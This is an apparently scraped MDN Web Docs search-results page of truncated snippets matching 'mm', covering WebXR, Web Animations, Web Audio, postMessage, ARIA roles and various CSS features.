for spatial tracking and scene geometry, though, you need to be able to correlate the xr device's perceived position with the space's coordinate system. that's where reference spaces come in. reference spaces because of the variety of xr hardware available, coming in a wide variety of form factors from many developers, it's impractical and non-scalable to expect developers to have to directly co
mmunicate with the tracking technology being used. instead, the webxr device api is designed to have developers plan their users' experiences and request an appropriate reference space that best represents those needs. this is done by asking the user agent for an xrreferencespace matching those needs. an xrreferencespace object acts as a means to adapt one coordinate system reference frame to anoth...
... such a way as to avoid fingerprinting (likely to the nearest centimeter). xrreferencespace unbounded a tracking space which allows the user total freedom of movement, possibly over extremely long distances from their origin point. the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to acco
mmodate that need. xrreferencespace viewer a tracking space whose native origin tracks the viewer's position and orientation. this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both i
mmersive and inline, though it's most useful for inline sessions. it's particularly useful when determining the distance between th...
...y useful when determining the distance between the viewer and an input, or when working with offset spaces. otherwise, typically, one of the other reference space types will be used more often. xrreferencespace the remainder of this guide explores how to select the right reference space for your app's needs. defining spatial relationships with reference spaces there are a number of co
mmonly used ways to reference the positions and orientations of objects relative to their environment, as well as to constrain the environment itself. to that end, webxr defines a set of standard spaces, called reference spaces, each of which supports a different technique for correlating its local space's reference frame coordinate system to the coordinate system of the space in which it exists. h...
...And 2 more matches
Using the Web Animations API - Web APIs
automatically divide the animation into equal parts based on the number of keys you give it. this means that a keyframe object with three keys will play the middle key 50% of the way through each loop of the animation unless told otherwise. when we want to explicitly set a key’s offset from the other keys, we can specify an offset directly in the object, separated from the declaration with a co
mma. in the above example, to make sure that alice’s color changes at 30% (not 50%) for the color change, we are giving it offset: 0.3. currently, there should be at least two keyframes specified (representing the starting and ending states of the animation sequence). if your keyframe list has only one entry, element.animate() may throw a notsupportederror exception in some browsers until they ar...
...tions in the growing/shrinking alice game (check out the full code on codepen): in this game, alice has an animation that causes her to go from small to big which we control via a bottle and a cupcake. both of these have their own animations. pausing and playing animations we’ll talk more about alice’s animation later, but for now, let’s look closer at the cupcake’s animation: var no
mmingcake = document.getelementbyid('eat-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); the element.animate() method will i
mmediately run after it is called. to prevent the cake from eating itself up before the user has had the chance to click on i...
...at-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); the element.animate() method will i
mmediately run after it is called. to prevent the cake from eating itself up before the user has had the chance to click on it, we call animation.pause() on it i
mmediately after it is defined, like so: no
mmingcake.pause(); we can now use the animation.play() method to run it whenever we’re ready: no
mmingcake.play(); specifically, we want to link it to alice’s animation, so she gets bigger as the cupcake gets eaten. we can achieve this via the following function: var growalice = function() { // play alice's animation. alicechange.play(); // ...
...And 2 more matches
Web Audio API - Web APIs
mediaelementaudiosourcenode) and audio streams (mediastreamaudiosourcenode). in fact, sound files are just recordings of sound intensities themselves, which come in from microphones or electric instruments, and get mixed down into a single, complicated wave. outputs of these nodes could be linked to inputs of others, which mix or modify these streams of sound samples into different streams. a co
mmon modification is multiplying the samples by a value to make them louder or quieter (as is the case with gainnode). once the sound has been sufficiently processed for the intended effect, it can be linked to the input of a destination (audiocontext.destination), which sends the sound to the speakers or headphones. this last connection is only necessary if the user is supposed to hear the audio. ...
...are a developer. it can be used to simply incorporate audio into your website or application, by providing atmosphere like futurelibrary.no, or auditory feedback on forms. however, it can also be used to create advanced interactive instruments. with that in mind, it is suitable for both developers and musicians alike. we have a simple introductory tutorial for those that are familiar with progra
mming but need a good introduction to some of the terms and structure of the api. there's also a basic concepts behind web audio api article, to help you understand the way digital audio works, specifically in the realm of the api. this also includes a good introduction to some of the concepts the api is built upon. learning coding is like playing cards — you learn the rules, then you play, then...
... web audio api interfaces the web audio api has a number of interfaces and associated events, which we have split up into nine categories of functionality. general audio graph definition general containers and defi...
...And 2 more matches
Privileged features - Web APIs
indow.open function that requires chrome-privilege in firefox. this is not for web content. the following features require the chrome-privilege. centerscreen centers the window in relation to its parent's size and position. minimizable this setting can only apply to dialog windows; minimizable requires dialog=yes. if minimizable is on, the new dialog window will have a minimize system co
mmand icon in the titlebar and it will be minimizable. any non-dialog window is always minimizable and minimizable=no will be ignored. dependent if on, the new window is said to be dependent of its parent window. a dependent window closes when its parent window closes. a dependent window is minimized on the windows task bar only when its parent window is minimized. on windows platforms, a dependen...
...tcuts will work. the page is supposed to provide a user interface of its own, usually this feature is used to open xul documents (standard dialogs like the javascript console are opened this way). dialog the dialog feature removes all icons (restore, minimize, maximize) from the window's titlebar, leaving only the close button. ...
... provide a user interface of its own, usually this feature is used to open xul documents (standard dialogs like the javascript console are opened this way). dialog the dialog feature removes all icons (restore, minimize, maximize) from the window's titlebar, leaving only the close button. mozilla 1.2+ and netscape 7.1 will render the other menu system co
mmands (in ff 1.0 and in ns 7.0x, the co
mmand system menu is not identified with the firefox/ns 7.0x icon on the left end of the titlebar: that's probably a bug. you can access the co
mmand system menu with a right-click on the titlebar). dialog windows are windows which have no minimize system co
mmand icon and no maximize/restore down system co
mmand icon on the titlebar nor in correspondent menu item in the co
mmand system menu. they are s...
...And 2 more matches
window.postMessage() - Web APIs
normally, scripts on different pages are allowed to access each other if and only if the pages they originate from share the same protocol, port number, and host (also known as the "same-origin policy"). window.postmessage() provides a controlled mechanism to securely circumvent this restriction (if used properly). broadly, one window may obtain a reference to another (e.g., via targetwindow = window.opener), and then dispatch a messageevent on it with targetwindow.postmessage(). ...
...gins are https://example.org (implying port 443), http://example.net (implying port 80), and http://example.com:8080. note that this origin is not guaranteed to be the current or future origin of that window, which might have been navigated to a different location since postmessage was called. source a reference to the window object that sent the message; you can use this to establish two-way co
mmunication between two windows with different origins. security concerns if you do not expect to receive messages from other sites, do not add any event listeners for message events. this is a completely foolproof way to avoid security problems. if you do expect to receive messages from other sites, always verify the sender's identity using the origin and possibly source properties. any window ...
...t loaded the url. using window.postmessage in extensions window.postmessage is available to javascript running in chrome code (e.g., in extensions and privileged code), but the source property of the dispatched event is always null as a security restriction. (the other properties have their expected values.) it is not possible for content or web context scripts to specify a targetorigin to co
mmunicate directly with an extension (either the background script or a content script). web or content scripts can use window.postmessage with a targetorigin of "*" to broadcast to every listener, but this is discouraged, since an extension cannot be certain the origin of such messages, and other listeners (including those you do not control) can listen in. content scripts should use runtime.sendm...
...And 2 more matches
XRPermissionDescriptor.mode - Web APIs
the mode property of the xrpermissiondescriptor dictionary is a string taken from the xrsessionmode enumerated type, specifying which web xr session mode (inline, i
mmersive-vr, or i
mmersive-ar) the described permissions will be used for. syntax xrpermissiondescriptor = { mode: xrsessionmode, requiredfeatures: reqfeaturelist, optionalfeatures: optfeaturelist }; xrpermissiondescriptor.mode = xrsessionmode; xrmode = xrpermissiondescriptor.mode; value a domstring whose value is one of the strings found in the xrsessionmode enumerated type: i
mmersive-ar the session's output will be given exclusive access to the i
mmersive device, but the rendered content will be blended with the real-world environment. the session's environmentblendmode indicates the method to be used to ble...
...ptor.mode; value a domstring whose value is one of the strings found in the xrsessionmode enumerated type: i
mmersive-ar the session's output will be given exclusive access to the i
mmersive device, but the rendered content will be blended with the real-world environment. the session's environmentblendmode indicates the method to be used to blend the content together. important: the i
mmersive-ar mode is defined by the webxr augmented reality module, which is not yet stable and should not be used other than for testing and experimentation. i
mmersive-vr indicates that the rendered session will be displayed using an i
mmersive xr device in vr mode; it is not intended to be overlaid or integrated into the surrounding environment. the environmentblendmode is expected to be opaqu...
...han occupying the full visual space. inline sessions can be presented in either mono or stereo mode, and may or may not have viewer tracking available. inline sessions don't require special hardware and should be avalable on any user agent offering webxr api support. ...
...And 2 more matches
XRRigidTransform.position - Web APIs
mponent of the point is always 1.0. ...
...if t...
..."viewer").then(refspacecreated); } } function refspacecreated(refspace) { if (i
mmersivesession) { xrreferencespace = refspace; } else { xrreferencespace = refspace.getoffsetreferencespace( new xrrigidtransform({y: -1.5}); ); } xrsession.requestanimationframe(onframe); } after setting up the graphics context for webxr use, this begins by looking to see if a variable i
mmersivesession is true; if so, we first request a bounded-floor reference space. if that fails (probably because bounded-floor isn't supported), we try requesting a local-floor reference space. if we're not in an i
mmersive session, we instead request a viewer reference space. ...
...And 2 more matches
XRSession.requestAnimationFrame() - Web APIs
e stamp you can use to compute any animation updates needed. you can cancel a previously scheduled animation by calling cancelanimationframe(). note: despite the obvious similarities between these methods and the global requestanimationframe() function provided by the window interface, you must not treat these as interchangeable. there is no guarantee that the latter will work at all while an i
mmersive xr session is underway. syntax requestid = xrsession.requestanimationframe(animationframecallback); parameters animationframecallback a function which is called before the next repaint in order to allow you to update and render the xr scene based on elapsed time, animation, user input changes, and so forth. the callback receives as input two parameters: time a domhighresti...
... viewer.views) { let xrviewport = xrwebgllayer.getviewport(xrview) gl.viewport(xrviewport.x, xrviewport.y, xrviewport.width, xrviewport.height) // webgl draw calls will now be rendered into the appropriate viewport. } }) }) the following example was taken directly from the spec draft. this example demonstrates a design pattern that ensures seamless transition between non-i
mmersive animations created via window.requestanimationframe and i
mmersive xr animations. let xrsession = null function onwindowanimationframe(time) { window.requestanimationframe(onwindowanimationframe) // this may be called while an i
mmersive session is running on some devices, // such as a desktop with a tethered headset. to prevent two loops from // rendering in parallel, skip drawing...
...window.requestanimationframe(onwindowanimationframe) function onxranimationframe(time, xrframe) { xrsession.requestanimationframe(onxranimationframe) renderframe(time, xrframe) } function renderframe(time, xrframe) { // shared rendering logic. ...
...And 2 more matches
XRSession - Web APIs
nts an ongoing xr session, providing methods and properties used to interact with and control the session. to open a webxr session, use the xrsystem interface's requestsession() method. with xrsession methods, you can poll the viewer's position and orientation (the xrviewerpose), gather information about the user's environment, and present imagery to the user. xrsession supports both inline and i
mmersive virtual and augmented reality modes. properties in addition to the properties listed below, xrsession inherits properties from its parent interface, eventtarget. environmentblendmode read only returns this session's blend mode which denotes how much of the real-world environment is visible through the xr device and how the device will blend the device imagery with it. note: e...
...xrsession when the list of active xr input sources has changed. also available through the oninputsourceschange event handler property. select an event of type xrinputsourceevent which is sent to the session when one of the session's input sources has successfully completed a primary action. this generally corresponds to the user pressing a trigger, touchpad, or button, speaks a co
mmand, or performs a recognizable gesture. the select event is sent after the selectstart event is sent and i
mmediately before the selectend event is sent. if select is not sent, then the select action was aborted before being completed. also available through the onselect event handler property. selectend an event of type xrinputsourceevent which gets sent to the session object when...
... completed. also available through the onselect event handler property. selectend an event of type xrinputsourceevent which gets sent to the session object when one of its input devices finishes its primary action or gets disconnected while in the process of handling a primary action. for example: for button or trigger actions, this means the button has been released; for spoken co
mmands, it means the user has finished speaking. this is the last of the three select* events to be sent. also available through the onselectend event handler property. selectstart an event of type xrinputsourceevent which is sent to the session object when one of its input devices is first engaged by the user in such a way as to cause the primary action to begin. this is the first o...
...And 2 more matches
XRSystem: devicechange event - Web APIs
it's a generic event with no added properties. note: not to be confused with the mediadevices devicechange event. bubbles no cancelable no interface event event handler xrsystem.ondevicechange usage notes devicechange events are not delivered if the document which owns the xrsystem object has been granted permission to do so through the xr-spatial-tracking feature policy. ...
...ent handler xrsystem.ondevicechange usage notes devicechange events are not delivered if the document which owns the xrsystem object has been granted permission to do so through the xr-spatial-tracking feature policy. ...
...atial-tracking feature policy. you can use this event to, for example, monitor for the availability of a webxr-compatible device so that you can enable a ui element which the user can use to activate i
mmersive mode. this is shown in the example below. example the example shown here handles the devicechange event by toggling the availability of the "enter xr" button based on whether or not any i
mmersive devices are currently available. ...
...And 2 more matches
XRSystem: isSessionSupported() - Web APIs
esn't have permission to use the xr device, the promise is rejected with an appropriate domexception. syntax var issupportedpromise = xr.issessionsupported(xrsessionmode) parameters xrsessionmode a domstring specifying the webxr session mode for which support is to be checked. this string must be one of inline (to present the webxr content inline within the context of an html document) or i
mmersive-vr for a fully-i
mmersive virtual experience. return value a promise that resolves to true if the specified session mode is supported; otherwise the promise resolves to false. exceptions rather than throwing true exceptions, issessionsupported() rejects the returned promise, passing to the rejection handler a domexception whose name is one of the following strings. securityerror the...
...ns, issessionsupported() rejects the returned promise, passing to the rejection handler a domexception whose name is one of the following strings. securityerror the document's origin does not have permission to use the xr-spatial-tracking feature policy. examples in this example, we see issessionsupported() used to detect whether or not the device supports vr mode by checking to see if an i
mmersive-vr session is supported. if it is, we set up a button to read "enter xr", to call a method onbuttonclicked(), and enable the button. if no session is already underway, we request the vr session and, if successful, set up the session in a method called onsessionstarted(), not shown. if a session is already underway when the button is clicked, we call the xrsession object's end() method to s...
...all a method onbuttonclicked(), and enable the button. if no session is already underway, we request the vr session and, if successful, set up the session in a method called onsessionstarted(), not shown. if a session is already underway when the button is clicked, we call the xrsession object's end() method to shut down the webxr session. ...
...And 2 more matches
XRSystem - Web APIs
le xr devices has changed. also available using the ondevicechange event handler. usage notes thsi interface was previously known as simply xr in earlier versions of the specification; if you see references to xr in code or documentation, simply replace that with xrsystem. examples the following example shows how to use both issessionsupported() and requestsession(). ...
...s thsi interface was previously known as simply xr in earlier versions of the specification; if you see references to xr in code or documentation, simply replace that with xrsystem. examples the following example shows how to use both issessionsupported() and requestsession(). if (navigator.xr) { i
mmersivebutton.addeventlistener("click", onbuttonclicked); navigator.xr.issessionsupported('i
mmersive-vr') .then((issupported) => { if (issupported) { i
mmersivebutton.disabled = false; } else { i
mmersivebutton.disabled = true; }); } function onbuttonclicked() { if (!xrsession) { navigator.xr.requestsession('i
mmersive-vr') .then(() => { // onsessionstarted() not shown for reasons of brevity and clarity. onsessionstarted(xrsession); }); } e...
...ity. onsessionstarted(xrsession); }); } else { // shut down the already running xrsession xrsession.end() .then(() => xrsession = null); } } this code starts by checking to see if webxr is available by looking for the navigator.xr property. ...
...And 2 more matches
Web APIs
nbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api
mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage acc...
...aesctrparams aesgcmparams aeskeygenparams ambientlightsensor analysernode animation animationeffect animationevent animationplaybackevent animationtimeline arraybufferview attr audiobuffer audiobuffersourcenode audioconfiguration audiocontext audiocontextlatencycategory audiocontextoptions audiodestinationnode audiolistener audionode audionodeoptions audioparam audioparamdescriptor audiopara
mmap audioprocessingevent audioscheduledsourcenode audiotrack audiotracklist audioworklet audioworkletglobalscope audioworkletnode audioworkletnodeoptions audioworkletprocessor authenticatorassertionresponse authenticatorattestationresponse authenticatorresponse b baseaudiocontext basiccardrequest basiccardresponse batterymanager beforeinstallpromptevent beforeunloadevent biquadfilterno...
...cssstylevalue csssupportsrule cssunitvalue cssunparsedvalue cssvalue cssvaluelist cssvariablereferencevalue cache cachestorage canvascapturemediastreamtrack canvasgradient canvasimagesource canvaspattern canvasrenderingcontext2d caretposition channelmergernode channelsplitternode characterdata childnode client clients clipboard clipboardevent clipboarditem closeevent co
mment compositionevent constantsourcenode constrainboolean constraindomstring constraindouble constrainulong contentindex contentindexevent convolvernode countqueuingstrategy crashreportbody credential credentialscontainer crypto cryptokey cryptokeypair customelementregistry customevent d domconfiguration domerror domexception domhighrestimestamp domimplementation domimplementationlis...
...And 2 more matches
ARIA Test Cases - Accessibility
systems where draggable items are denoted and targets being indicated as such. all drag and drop operations screen readers traditionally perform within the operating system are hit and miss games that are performed on pixel locations. the above is a suggested series of behaviors i as an end user would want to experience when dealing with aria drag and drop, but it has no basis to go on, unlike co
mmon controls, for example. results: at firefox ie opera safari jaws 9 - - n/a n/a jaws 10 - - - - voiceover (leopard) n/a n/a - fail window-eyes - - - - nvda - n/a - - zoom (leopard) pass n/a pass pass zoomtext - - - - or...
...with expandable rows expected at behavior: (mz) screen readers should announce the current cell or row depending on the default behavior of the at in other similar situations (e. g. listviews in windows, tree tables in linux). if the current row is expandable, screen reader should indicate current state (expanded or collapsed). when the user changes the state, the new state should be spoken i
mmediately. when navigating cells horizontally, the column header should be spoken for each cell. markup used: notes: results: at firefox ie opera safari jaws 9 - - n/a n/a jaws 10 - - - - voiceover (leopard) n/a n/a - fail window-eyes - - - - nvda - n/a - - zoo...
...ould indicate that as well. (mz) if a menu is dropped down, the activation of the new menu should be indicated and the focus tracked as it moves through the items. (mz) when the menu is closed, screen reader should indicate this along with the newly focused item. (mz) this may be the menu bar or higher level menu item, or a control that gains focus after the menu was closed after executing a co
mmand. (mz) if the menu caused a dialog to open, the dialog context should be given, just as with regular desktop applications. markup used: role="menubar", role="menu", role="menuitem", role="menuitemcheckbox", role="menuitemradio" aria-haspopup="true" aria-disabled="true" notes: results: at firefox ie opera safari jaws 9 - - n/a n/a ja...
...And 2 more matches
ARIA: contentinfo role - Accessibility
the contentinfo landmark role is used to identify information repeated at the end of every page of a website, including copyright information, navigation links, and privacy statements. this section is co
mmonly called a footer. <div role="contentinfo"> <h2>footer</h2> <!-- footer content --> </div> this is a website footer. using the <footer> element instead is reco
mmended: <footer> <h2>footer</h2> <!-- footer content --> </footer> description the contentinfo role is a landmark used to identify a page footer. landmarks can be used by assistive technology to quickly identify and navigate to large sections of the document. pages should only include one top-level contentinfo landmark role per page. each page should only include one contentinfo landmark, created by either using t...
...arge sections of the document. pages should only include one top-level contentinfo landmark role per page. each page should only include one contentinfo landmark, created by either using the <footer> element or by declaring role="contentinfo". contentinfo landmarks present in content embedded via <iframe> elements do not count towards this limit. using the <footer> element will automatically co
mmunicate a section has a role of contentinfo. developers should always prefer using the correct semantic html element over using aria, making sure to test for known issues in voiceover. examples <body> <!-- other page content --> <div role="contentinfo"> <h2>mdn web docs</h2> <ul> <li><a href="#">web technologies</a></li> <li><a href="#">learn web development</a></li> ...
...</div> </body> accessibility concerns use sparingly landmark roles are intended to identify larger overall sections of the document. using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page. one contentinfo landmark per page the <body> element there should be only one contentinfo landmark per document, used as the i
mmediate descendant of the <body> element. mega-footers do not nest additional <footer> elements or contentinfo landmarks inside of the document's footer. use other content sectioning elements instead. labeling landmarks multiple landmarks if there is more than one contentinfo landmark role or <footer> element in a document, provide a label with the aria-label attribute for each landmark. this ...
...And 2 more matches
ARIA: feed role - Accessibility
perability contract between the web page and assistive technologies that governs scroll interactions so that assistive technology users can read articles, jump forward and backward by article, and reliably trigger new articles to load while in reading mode. examples include an rss feed, news feeds, social media feeds like facebook, instagram or twitter, or even a list of related products on an eco
mmerce page. these streams can be limited or infinite, loading more content as the user scrolls. implementing the feed pattern allows a screen reader to reliably read and trigger the loading of feed content while in reading mode. a feed is a container element whose children are <article>s or have role article. each article within a feed should be focusable, with tabindex of 0 or -1. an article shou...
.... if the addition of articles occupies the main browser thread, make sure to set aria-busy="true" on the feed itself, and make sure to set it back to false when processing ends, or the user may not see the updates. to ensure good user experience, avoid inserting or removing articles in the middle of a feed, load new articles before the user has reached the end of the feed, and provide keyboard co
mmands for moving focus among articles so that keyboard users can navigate through your feed. see keyboard interactions below. if the number of articles is known, set aria-setsize on the articles themselves. however, if the total number is extremely large, indefinite, or changes often, set aria-setsize="-1" to indicate that the size of the feed is not known. another feature of the feed pattern is ...
...cle contains the reading cursor by ensuring the article element or one of its descendants has dom focus. providing reading mode keys that move dom focus to the next and previous articles. providing reading mode keys for moving the reading cursor and dom focus past the end and before the start of the feed. ...
...And 2 more matches
:default - CSS: Cascading Style Sheets
hes if it is a <form>’s default submission button: the first <button> in dom order that belongs to the form. this also applies to <input> types that submit forms, like image or submit. ...
...lt submission button: the first <button> in dom order that belongs to the form. this also applies to <input> types that submit forms, like image or submit. ...
...ssion button: the first <button> in dom order that belongs to the form. this also applies to <input> types that submit forms, like image or submit. ...
...And 2 more matches
:empty - CSS: Cascading Style Sheets
the :empty css pseudo-class represents any element that has no children. children can be either element nodes or text (including whitespace). co
mments, processing instructions, and css content do not affect whether an element is considered empty. note: in selectors level 4 the :empty pseudo-class was changed to act like :-moz-only-whitespace, but no browser currently supports this yet. /* selects any <div> that contains no content */ div:empty { background: lime; } syntax :empty examples html <div class="box"><!-- i will be lime. --></div> <div class="box">i will be pink.</div> <div class="box"> <!-- i will be pink in older browsers because of the whitespace around this co
mment. --> </div> <div class="box"> <p><!-- i will be pink in all browsers because of the non-collapsible w...
... */ div:empty { background: lime; } syntax :empty examples html <div class="box"><!-- i will be lime. --></div> <div class="box">i will be pink.</div> <div class="box"> <!-- i will be pink in older browsers because of the whitespace around this co
mment. --> </div> <div class="box"> <p><!-- i will be pink in all browsers because of the non-collapsible whitespace and elements around this co
mment. --></p> </div> css body { display: flex; justify-content: space-around; } .box { background: pink; height: 80px; width: 80px; } .box:empty { background: lime; } result accessibility concerns assistive technology such as screen readers cannot parse interactive content that is empty. all interactive content must have an accessible name, which is created by providing a te...
...ground: lime; } result accessibility concerns assistive technology such as screen readers cannot parse interactive content that is empty. all interactive content must have an accessible name, which is created by providing a text value for the interactive control's parent element (anchors, buttons, etc.). accessible names expose the interactive control to the accessibility tree, an api that co
mmunicates information useful for assistive technologies. the text that provides the interactive control's accessible name can be hidden using a combination of properties that remove it visually from the screen but keep it parseable by assistive technology. this is co
mmonly used for buttons that rely solely on an icon to convey purpose. what is an accessible name? | the paciello group hidden co...
...And 2 more matches
size - CSS: Cascading Style Sheets
ge is displayed in portrait mode (i.e. the longest side of the box is vertical). this is the default orientation. <length> any length value (see <length>). the first value corresponds to the width of the page box and the second one corresponds to its height. if only one value is provided, it is used for both width and height. ...
...splayed in portrait mode (i.e. the longest side of the box is vertical). this is the default orientation. <length> any length value (see <length>). the first value corresponds to the width of the page box and the second one corresponds to its height. if only one value is provided, it is used for both width and height. <page-size> a5 this matches the standard, iso dimensions: 148
mm x 210
mm. a4 this matches the standard, iso dimensions: 210
mm x 297
mm. (most frequently used dimensions for personal printing.) a3 this matches the standard, iso dimensions: 297
mm x 420
mm. b5 this matches the standard, iso dimensions: 176
mm x 250
mm. b4 this matches the standard, iso dimensions: 250
mm x 353
mm. jis-b5 this correspond to the jis standard dimensions: 182
mm x 257
mm. jis-b...
... letter this keyword is a equivalent to the dimensions of letter paper in north america i.e. 8.5in x 11in. legal this keyword is a equivalent to the dimensions of legal papers in north america i.e. 8.5in x 14in. ledger this keyword is a equivalent to the dimensions of ledger pages in north america i.e. 11in x 17in. ...
...And 2 more matches
At-rules - CSS: Cascading Style Sheets
/* general structure */ @identifier (rule); /* example: tells browser to use utf-8 character set */ @charset "utf-8"; there are several at-rules, designated by their identifiers, each with a different syntax: @charset — defines the character set used by the style sheet. @import — tells the css engine to include an external style sheet. ...
......
...ts of the viewport for small screen devices. (currently at the working draft stage) @counter-style — defines specific counter styles that are not part of the predefined set of styles. (at the candidate reco
mmendation stage, but only implemented in gecko as of writing) @font-feature-values (plus @swash, @ornaments, @annotation, @stylistic, @styleset and @character-variant) — define co
mmon names in font-variant-alternates for feature activated differently in opentype. (at the candidate reco
mmendation stage, but only implemented in gecko as of writing) conditional group rules much like the values of properties, each at-rule has a different syntax. nevertheless, several of them can be grouped into a special category named conditional group rules. these statements share a co...
...And 2 more matches
Typical use cases of Flexbox - CSS: Cascading Style Sheets
why choose flexbox? in a perfect world of browser support, the reason you'd choose to use flexbox is because you want to lay a collection of items out in one direction or another. as you lay out your items you want to control the dimensions of the items in that one dimension, or control the spacing between items. these are the uses that flexbox was designed for. you can read more about the difference between flexbox and css grid layout in relationship of flexbox to other layout methods, where we discuss how flexbox fits into the overall picture of css layout. ...
...x fits into the overall picture of css layout. in reality we also often use flexbox for jobs that might be better done by grid layout, as a fallback for grid, and also in order to get alignment capabilities. this is something that may well change once box alignment is implemented in block layout. in this guide i look at some of the typical things you might use flexbox for today. navigation a co
mmon pattern for navigation is to have a list of items displayed as a horizontal bar. this pattern, as basic as it seems, was difficult to achieve before flexbox. it forms the most simple of flexbox examples, and could be considered the ideal flexbox use case. when we have a set of items that we want to display horizontally, we may well end up with additional space. we need to decide what to do wit...
...which is the shorthand for flex: 1 1 0 — the item can grow and shrink from a flex basis of 0. as this is the only item that can grow, it takes up all available space in the flex container and pushes the footer to the bottom. if you remove the flex property from the live example you will see how the footer then moves up to sit directly under the content. media objects the media object is a co
mmon pattern in web design — this pattern has an image or other element to one side and text to the right. ideally a media object should be able to be flipped — moving the image from left to right. we see this pattern everywhere, used for co
mments, and anywhere we need to display images and descriptions. with flexbox we can allow the part of the media object containing the image to take its siz...
...And 2 more matches
OpenType font features guide - CSS: Cascading Style Sheets
and a number of others. these are all referred to as opentype features, and are made available to use on the web via specific properties and a low-level control property — font-feature-settings. this article provides you with all you need to know about using opentype font features in css. some fonts will have one or more of these features enabled by default (kerning and default ligatures are co
mmon examples), while others are left to the designer or developer to choose to enable in specific scenarios. in addition to broad feature sets like ligatures or lining figures (numerals that line up evenly as opposed to 'oldstyle', which look more like lower-case letters), there are also very specific ones such as stylistic sets (which might include several specific variants of glyphs meant to be ...
...r implementation inconsistencies, but in many cases the first example will match the second. the typefaces shown are playfair display, source serif pro, ibm plex serif, dancing script, and kokoro (all available and free to use, most are on google fonts and other services). kerning (font-kerning) this refers to the spacing between specific glyph pairings. this is generally on by default (as reco
mmended by the opentype specification). it should be noted that if letter-spacing is also set on your text, that is applied after kerning. alternates (font-variant-alternates) fonts can supply a number of different alternatives for various glyphs, such as different styles of lower case 'a' or more or less elaborate swashes in a script typeface. this property can activate an entire set of alterna...
...erts to its regular form and the lower case 'g' changes instead. more about alternates https://www.w3.org/tr/css-fonts-4/#propdef-font-variant-alternates /docs/web/css/font-variant-alternates ligatures (font-variant-ligatures) ligatures are glyphs that replace two or more separate glyphs in order to represent them more smoothly (from a spacing or aesthetic perspective). some of the most co
mmon are letters like 'fi', 'fl', or 'ffl' — but there are many other possibilities. there are the most frequent ones (referred to as co
mmon ligatures), and there are also more specialized categories like 'discretionary ligatures', 'historical ligatures', and 'contextual alternates'. while these last ones are not technically ligatures, they are generally similar in that they replace specific combi...
...And 2 more matches
Using CSS transitions - CSS: Cascading Style Sheets
for example, if you change the color of an element from white to black, usually the change is instantaneous. with css transitions enabled, changes occur at time intervals that follow an acceleration curve, all of which can be customized. animations that involve transitioning between two states are often called implicit transitions as the states in between the start and final states are implicitly defined by the browser. ...
... web author can define which property has to be animated and in which way. this allows the creation of complex transitions. as it doesn't make sense to animate some properties, the list of animatable properties is limited to a finite set. note: the set of properties that can be animated is changing as the specification develops. the auto value is often a very complex case. the specification reco
mmends not animating from and to auto. some user agents, like those based on gecko, implement this requirement and others, like those based on webkit, are less strict. using animations with auto may lead to unpredictable results, depending on the browser and its version, and should be avoided. defining transitions css transitions are controlled using the shorthand transition property. this is the ...
...it's easy to use transitions to make the effect even more attractive. before we look at code snippets, you might want to take a look at the live demo (assuming your browser supports transitions). first, we set up the menu using html: <nav> <a href="#">home</a> <a href="#">about</a> <a href="#">con...
...And 2 more matches
Pseudo-classes - CSS: Cascading Style Sheets
html living standard living standard defines when particular selectors match html elements. selectors level 4 working draft defined :any-link, :blank, :local-link, :scope, :drop, :current, :past, :future, :placeholder-shown, :user-invalid, :nth-col(), :nth-last-col(), :is() and :where(). ch...
...4 working draft defined :any-link, :blank, :local-link, :scope, :drop, :current, :past, :future, :placeholder-shown, :user-invalid, :nth-col(), :nth-last-col(), :is() and :where(). changed :empty to behave like :-moz-only-whitespace . no significant change for other pseudo-classes defined in selectors level 3 and html5 (though semantic meaning not taken over). ...
... :nth-col(), :nth-last-col(), :is() and :where(). changed :empty to behave like :-moz-only-whitespace . no significant change for other pseudo-classes defined in selectors level 3 and html5 (though semantic meaning not taken over). html5 reco
mmendation copies the relevant section from the canonical (whatwg) html spec. ...
...And 2 more matches
box-shadow - CSS: Cascading Style Sheets
a box shadow is described by x and y offsets relative to the element, blur and spread radius, and color. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the box-shadow property enables you to cast a drop shadow from the frame of almost any element. if a border-radius is specified on the element with a box shadow, the box shadow takes on the same rounded corners. ...
... if only two values are given, they are interpreted as <offset-x><offset-y> values. if a third value is given, it is interpreted as a <blur-radius>. if a fourth value is given,...
...le box-shadow using: two, three, or four <length> values. if only two values are given, they are interpreted as <offset-x><offset-y> values. if a third value is given, it is interpreted as a <blur-radius>. if a fourth value is given, it is interpreted as a <spread-radius>. optionally, the inset keyword. optionally, a <color> value. to specify multiple shadows, provide a co
mma-separated list of shadows. values inset if not specified (default), the shadow is assumed to be a drop shadow (as if the box were raised above the content). the presence of the inset keyword changes the shadow to one inside the frame (as if the content was depressed inside the box). inset shadows are drawn inside the border (even transparent ones), above the background, but below content. ...
...And 2 more matches
<color> - CSS: Cascading Style Sheets
overed text in menu bars. often similar to -moz-menuhovertext. should be used on top of -moz-menuhover background. -moz-nativehyperlinktext default platform hyperlink color. -moz-oddtreerow background color for odd-numbered rows in a tree. should be used with the -moz-fieldtext foreground color. in gecko versions prior to 1.9, use -moz-field. see also -moz-eventreerow. -moz-win-co
mmunicationstext should be used for text in objects with -moz-appearance: -moz-win-co
mmunications-toolbox;. -moz-win-mediatext should be used for text in objects with -moz-appearance: -moz-win-media-toolbox. -moz-win-accentcolor used to access the windows 10 custom accent color that you can set on the start menu, taskbar, title bars, etc. -moz-win-accentcolortext used to...
